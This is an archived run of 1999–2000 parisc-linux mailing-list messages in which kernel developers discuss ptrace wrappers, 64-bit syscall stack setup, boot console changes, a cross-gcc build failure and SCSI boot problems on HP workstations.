Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA05690
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 06:22:44 -0700
Original-Received: (qmail 14327 invoked by uid 15267); 21 Dec 2000 13:25:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14319 invoked from network); 21 Dec 2000 13:25:44 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 13:25:44 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1C557B005; Thu, 21 Dec 2000 13:19:24 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001219182257.O7166@linuxcare.com>; from rhirst@linuxcare.com on Tue, Dec 19, 2000 at 06:22:57PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8975

On Tue, Dec 19, 2000 at 06:22:57PM +0000, Richard Hirst wrote:
> I have a problem with ptrace.  The ptrace syscall for PTRACE_PEEK*
> saves the result in *data (4th arg), whereas the man page says
> it returns the result as the return value, and the 4th arg is
> ignored.  userland things, like strace for example, expect the
> man page behaviour.  I assumed glibc should be providing a wrapper
> to translate from kernel to userland syntax, but our glibc doesn't
> appear to do so.

Turned out I had to fix glibc to use the wrapper on parisc.  This
means our strace source will be broken for new glibc builds.  I'll
fix strace once the glibc change propagates through.  If anyone
wants to fix their own strace for testing, just remove the raw_ptrace
stuff from strace/defs.h

Richard


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Thu, 21 Dec 2000 16:00:06 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20001221160006.W2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619459 9230 80.91.229.3 (22 Nov 2014 01:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Thu Dec 21 09:03:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA07086
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 09:03:25 -0700
Original-Received: (qmail 2725 invoked by uid 15267); 21 Dec 2000 16:06:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2706 invoked from network); 21 Dec 2000 16:06:22 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 16:06:22 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B873FB005; Thu, 21 Dec 2000 16:00:06 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8976

Hi,
  I tried calling ptrace() from a 32 bit app on a 64 bit kernel, and
the kernel crashed.  sys_ptrace needs a 32 bit wrapper, but that is
a seperate issue (I think).

It died at sys_ptrace+0x28, where it tried to use ret1.
(ret1 = 00000000000517a1):

0000000000000000 <sys_ptrace>:
   0:   0f c2 12 c1     std  rp,-10(sr0,sp)
   4:   37 de 03 00     ldo 180(sp),sp
   8:   73 c5 3e 51     std r5,-d8(sp)
   c:   37 a5 3f 81     ldo -40(ret1),r5
  10:   73 c4 3e 61     std r4,-d0(sp)
  14:   08 1b 02 44     copy dp,r4
  18:   db 39 0f e0     extrd,s r25,63,32,r25
  1c:   73 c8 3e 31     std r8,-e8(sp)
  20:   73 c6 3e 41     std r6,-e0(sp)
  24:   73 c3 3e 71     std r3,-c8(sp)
  28:   73 b7 3f b1     std r23,-28(ret1)
  2c:   ef 40 2e 28     cmpib,*= 0,r26,748 <.L1098+0x7c>
  30:   34 08 3f ff     ldi -1,r8
  34:   d3 33 1e e8     extrw,s r25,23,24,r19
  38:   2b 60 00 00     addil 0,dp,%r1
                        38: R_PARISC_DLTIND21L  pidhash

At the moment we set up sp with "ldo TASK_SZ_ALGN+64(%r1),%r30" on syscall
entry.  For 64 bit presumably we should do something like:

	ldo     TASK_SZ_ALGN+80(%r1),%r30
	ldo	-16(%r30),%r29

Which gives 64 bytes for parameter saves, plus 16 bytes for rp+sp, and
initialises ret1.

Does that sound right?

Richard


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Thu, 21 Dec 2000 20:57:23 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001221205723.A21472@parcelfarce.linux.theplanet.co.uk>
References: <20001221160006.W2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619459 9232 80.91.229.3 (22 Nov 2014 01:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@www.linux.org.uk  Thu Dec 21 13:54:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA12496
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 13:54:29 -0700
Original-Received: (qmail 9985 invoked by uid 15267); 21 Dec 2000 20:57:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9973 invoked from network); 21 Dec 2000 20:57:30 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 20:57:30 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149CmB-0005ie-00; Thu, 21 Dec 2000 20:57:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001221160006.W2554@linuxcare.com>; from rhirst@linuxcare.com on Thu, Dec 21, 2000 at 04:00:06PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8977

On Thu, Dec 21, 2000 at 04:00:06PM +0000, Richard Hirst wrote:
> At the moment we set up sp with "ldo TASK_SZ_ALGN+64(%r1),%r30" on syscall
> entry.  For 64 bit presumably we should do something like:
> 
> 	ldo     TASK_SZ_ALGN+80(%r1),%r30
> 	ldo	-16(%r30),%r29
> 
> Which gives 64 bytes for parameter saves, plus 16 bytes for rp+sp, and
> initialises ret1.
> 
> Does that sound right?

does the 64-bit ABI relax the requirement for the stack to be 64-byte aligned?
if not, it should be ldo TASK_SZ_ALIGN+128(%r1), %r30

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Thu, 21 Dec 2000 20:55:58 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20001221205558.X2554@linuxcare.com>
References: <20001221160006.W2554@linuxcare.com> <20001221205723.A21472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619460 9237 80.91.229.3 (22 Nov 2014 01:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Thu Dec 21 13:59:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA12740
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 13:59:14 -0700
Original-Received: (qmail 17292 invoked by uid 15267); 21 Dec 2000 21:02:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17279 invoked from network); 21 Dec 2000 21:02:15 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 21:02:15 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 86860B005; Thu, 21 Dec 2000 20:55:58 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001221205723.A21472@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Thu, Dec 21, 2000 at 08:57:23PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8978

On Thu, Dec 21, 2000 at 08:57:23PM +0000, Matthew Wilcox wrote:
> On Thu, Dec 21, 2000 at 04:00:06PM +0000, Richard Hirst wrote:
> > At the moment we set up sp with "ldo TASK_SZ_ALGN+64(%r1),%r30" on syscall
> > entry.  For 64 bit presumably we should do something like:
> > 
> > 	ldo     TASK_SZ_ALGN+80(%r1),%r30
> > 	ldo	-16(%r30),%r29
> > 
> > Which gives 64 bytes for parameter saves, plus 16 bytes for rp+sp, and
> > initialises ret1.
> > 
> > Does that sound right?
> 
> does the 64-bit ABI relax the requirement for the stack to be 64-byte aligned?
> if not, it should be ldo TASK_SZ_ALIGN+128(%r1), %r30

Says "16 byte aligned", not 64.

Richard


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Console
Date: Thu, 21 Dec 2000 21:18:30 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619460 9243 80.91.229.3 (22 Nov 2014 01:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:20 +0000 (UTC)
Cc: tytso@mit.edu
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Thu Dec 21 14:15:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA13808
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 14:15:32 -0700
Original-Received: (qmail 10638 invoked by uid 15267); 21 Dec 2000 21:18:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10548 invoked from network); 21 Dec 2000 21:18:32 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 21:18:32 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149D6c-00067K-00; Thu, 21 Dec 2000 21:18:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8979


We were doing some very dubious things with our console; I hope I've now
fixed them.

The problem was that we can't output from the serial port until we've
done all the GSC and LASI setup, which is very late in the boot sequence.
The current serial console code just guesses, and gets lucky on x86, that
it can output bytes to the serial port.  This crashes for us because it
assumes it can use outb when it should be using gsc_readb.

So I've moved the call to initialise the serial console to the serial
driver, after it does its own setup.  This makes much more sense (the
serial console code might now be simplifiable, I haven't checked).

Of course, we'd like to see a bit of output before we get to that point.
So we still register the PDC console, crappy as it is, very early on
in the boot sequence (slightly later now than before, but it wasn't
used up until that point anyway, because none of the console system
was activated).

However, if you just do that and don't frob the dmesg log (nasty, nasty!),
you get everything twice.  So I invented a new console flag, CON_BOOT.
the register_console() interface notices that the previous console was
CON_BOOT, removes it and doesn't display the log to that point as it
assumes you've already seen it on the boot console.

I hope other architectures can take advantage of this small piece of
infrastructure.  Ted, are you the console maintainer?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Wed, 12 May 1999 22:06:14 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <19990512220614.I1410@mencheca.ch.genedata.com>
References: <19990512205759.G1410@mencheca.ch.genedata.com> <19990512194227.52770@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619460 9245 80.91.229.3 (22 Nov 2014 01:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:20 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Original-X-From: Matthew.Wilcox@genedata.com  Wed May 12 14:06:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA13536
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 14:06:19 -0600
Original-Received: (qmail 8395 invoked by uid 15267); 12 May 1999 20:05:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8388 invoked from network); 12 May 1999 20:05:58 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 20:05:58 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id WAA05213;
	Wed, 12 May 1999 22:06:16 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id WAA18109;
	Wed, 12 May 1999 22:06:15 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10hfGg-0002KZC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 12 May 1999 22:06:14 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990512194227.52770@insula.local>; from Philipp Rumpf on Wed, May 12, 1999 at 07:42:27PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8980

On Wed, May 12, 1999 at 07:42:27PM +0000, Philipp Rumpf wrote:
> > I don't however have anything
> > to boot right now - apparently this disc was used for swap when this
> > workstations was running HP-UX in the dim distant past (you should see
> > the dust).

> I think you have the choice to either wait til Linux is bootable or get a
> second hard disk and an HP-UX on it. The disks should be narrow SCSI so the
> second disk shouldn't really be much of a problem.

That might be feasible.  Is there no netbooting software available?
I've used RARP, BOOTP and TFTP to load a sun3 kernel before and the
HP seems to be looking for a network host to respond.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console
Date: Thu, 21 Dec 2000 21:28:55 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk>
References: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619461 9250 80.91.229.3 (22 Nov 2014 01:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, tytso@mit.edu
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Thu Dec 21 14:25:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA14346
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 14:25:58 -0700
Original-Received: (qmail 26383 invoked by uid 15267); 21 Dec 2000 21:28:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26365 invoked from network); 21 Dec 2000 21:28:59 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 21 Dec 2000 21:28:59 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 149DGh-0006IW-00; Thu, 21 Dec 2000 21:28:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Thu, Dec 21, 2000 at 09:18:30PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8981


Couple of things I forgot to mention...

you may now want to specify `console=ttyS0' in the palo makefile... though
thinking about it now, you may not need to.  I've only tried it with, not
without.

I haven't tested STI console with these changes.  I don't have a
monitor/kbd for my 712.  Someone should test this, and remove the calls
to pdc_console_die (and remove pdc_console_die altogether).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64bit xgcc build failing
Date: Thu, 21 Dec 2000 13:16:49 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20001221201649.798A737C9E@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619461 9261 80.91.229.3 (22 Nov 2014 01:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Dec 21 17:56:47 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16802
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 17:56:46 -0700
Original-Received: (qmail 13204 invoked by uid 15267); 22 Dec 2000 00:59:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13192 invoked from network); 22 Dec 2000 00:59:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 00:59:36 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 4C1225EA
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Dec 2000 19:59:36 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 798A737C9E
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Dec 2000 13:16:49 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8983

The 64bit cross-gcc build(devel branch) is failing with the following error,

------------------------------------------------------------------------------
gcc -c -DCROSS_COMPILE -DIN_GCC    -g -O2 -W -Wall -Wwrite-strings 
-Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic 
-Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I/home/al-76/puffin/palinux/gcc/gcc
 -I/home/al-76/puffin/palinux/gcc/gcc/. -I/home/al-76/puffin/palinux/gcc/gcc/co
nfig -I/home/al-76/puffin/palinux/gcc/gcc/../include 
/home/al-76/puffin/palinux/gcc/gcc/varasm.c -o varasm.o
/home/al-76/puffin/palinux/gcc/gcc/varasm.c: In function 
`assemble_trampoline_template':
/home/al-76/puffin/palinux/gcc/gcc/varasm.c:1868: warning: assignment discards 
qualifiers from pointer target type
/home/al-76/puffin/palinux/gcc/gcc/varasm.c: In function `assemble_integer':  
/home/al-76/puffin/palinux/gcc/gcc/varasm.c:1910: parse error before `0'  
/home/al-76/puffin/palinux/gcc/gcc/varasm.c:1910: warning: statement with no 
effect
make[1]: *** [varasm.o] Error 1
make[1]: *** Waiting for unfinished jobs....
make[1]: Leaving directory `/home/al-76/puffin/xc-build/gcc/gcc'
------------------------------------------------------------------------------

Any ideas?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (still) booting problems with HP9000/730
Date: Fri, 22 Dec 2000 02:11:00 +0100 (CET)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012220201410.23695-100000@sgate.charlysworld.de>
References: <20001220094608.D2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619461 9270 80.91.229.3 (22 Nov 2014 01:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xam@deathsdoor.com  Thu Dec 21 18:08:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA17300
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Dec 2000 18:08:07 -0700
Original-Received: (qmail 26712 invoked by uid 15267); 22 Dec 2000 01:11:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26671 invoked from network); 22 Dec 2000 01:11:07 -0000
Original-Received: from p3ee03b05.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@62.224.59.5)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 01:11:07 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id eBM1B0t24000
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Dec 2000 02:11:05 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <20001220094608.D2554@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8984

On Wed, 20 Dec 2000, Richard Hirst wrote:

> The following is from my 715/75, where the scsi driver works.  As Alex
> said, the scsi driver has a problem on your machine, but not all the
> messages indicate real problems.  At one time I had a cdrom attached
> which didn't respond well to requests for synchronous working, and the
> driver couldn't cope.
> 
> What devices do you have on your scsi bus?  Can you disconnect
> everything except the Quantum HD as a test?

nothing except the harddisk! even the scsi-floppy is NOT connected

> You can try booting with
> 
> 	sim700=nodisc:0xff

done that, didn't work

> in case it is a problem with disconnect/reselect, and you could
> try
> 
> 	sim700=nodisc:0xff,noneg:0xff
>
> in case it is a probem with sync/async negotiation.

also done that, didn't work either ... the same problem as before :((((
the kernel recognizes the harddisk, then is clears the screen,
and tries to boot from /dev/sda3 (correct partition! otherwise it
would print VFS: unable to mount root partition (verified that)).
But then it runs into infinite loop of stack traces ...

sorry that i cannot provide a boot log :((((

greetings max



From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console
Date: Fri, 22 Dec 2000 11:19:12 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001222111912.Z2554@linuxcare.com>
References: <20001221211830.C21472@parcelfarce.linux.theplanet.co.uk> <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619462 9274 80.91.229.3 (22 Nov 2014 01:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, tytso@mit.edu
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Dec 22 04:22:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA22091
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 04:22:31 -0700
Original-Received: (qmail 21826 invoked by uid 15267); 22 Dec 2000 11:25:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21819 invoked from network); 22 Dec 2000 11:25:33 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 11:25:33 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 80172B005; Fri, 22 Dec 2000 11:19:12 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001221212855.E21472@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Thu, Dec 21, 2000 at 09:28:55PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8985

On Thu, Dec 21, 2000 at 09:28:55PM +0000, Matthew Wilcox wrote:
> 
> Couple of things I forgot to mention...
> 
> you may now want to specify `console=ttyS0' in the palo makefile... though
> thinking about it now, you may not need to.  I've only tried it with, not
> without.

Yes, you do need `console=ttyS0' now.  Otherwise you get "cannot open
initial console" and then silence until the login prompt.

dmesg works nicely though :)

Richard


From - Thu Nov 08 21:14:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 bit kernel crash with wrong r27 value
Date: Fri, 22 Dec 2000 11:39:50 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20001222113950.A2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619462 9278 80.91.229.3 (22 Nov 2014 01:24:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Dec 22 04:43:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA22687
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Dec 2000 04:43:09 -0700
Original-Received: (qmail 5651 invoked by uid 15267); 22 Dec 2000 11:46:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5643 invoked from network); 22 Dec 2000 11:46:11 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Dec 2000 11:46:11 -0000
